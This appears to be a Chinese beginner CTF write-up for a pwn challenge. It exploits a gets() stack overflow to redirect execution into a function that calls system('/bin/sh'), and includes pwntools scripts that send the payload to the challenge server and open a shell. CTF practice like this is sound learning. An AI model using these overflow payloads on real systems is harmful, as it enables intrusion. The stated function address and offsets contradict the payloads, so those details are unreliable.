算是入門pwn的第一道題吧
先拖進ida查看
F5查看偽代碼:
int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [rsp+1h] [rbp-Fh] puts("please input"); gets((__int64)&s, (__int64)argv); puts(&s); puts("ok,bye!!!"); return 0; }
此時注意到 gets函數
gets函數的緩沖區是由用戶本身提供,由於用戶無法指定一次最多可讀入多少字節,導致此函數存在巨大安全隱患。換句話來說,就是gets若沒有遇到 \n 結束,則會無限讀取,沒有上限。
gets((__int64)&s, (__int64)argv);
雙擊 s ,查看需要多少字節 。以此來確定偏移量。
也就是說只需要存入15個字節地址,就可以get函數返回地址。
注意到 后面還有 db 8 dup(?) db: 定義字節類型變量的偽指令 dup(): 重復定義圓括號中指定的初值,次數由前面的數值決定 ?: 只分配存儲空間,不指定初值
因此 最后偏移量為 : 15+8 = 23 。
得到偏移量23
回到ida pro中。尋找是否存在 系統調用函數
找到fun()函數
int fun() { return system("/bin/sh"); }
查看得到 地址為 0x401142。
exp:
from pwn import * p = remote('node3.buuoj.cn', 27018) payload = b'a' * 23 + p64(0x401186 + 1) p.sendline(payload) p.interactive()
+1
是為了保證堆棧平衡。對於payload
payload = b'a' * 23 + p64(0x401186) + p64(0x401185) #多加的這部分任意找ret語句 都可以
exp2
from pwn import * p = remote('node3.buuoj.cn', 27018) payload = b'a' * 15 + p64(0x401186) p.sendline(payload) p.interactive()
注意: 上述 payload中 'a' 可以替換成任意字母。 'a' 前面的 b是為了防止python3運行時出現以下錯誤。 // python2無事。 TypeError: can only concatenate str (not "bytes") to str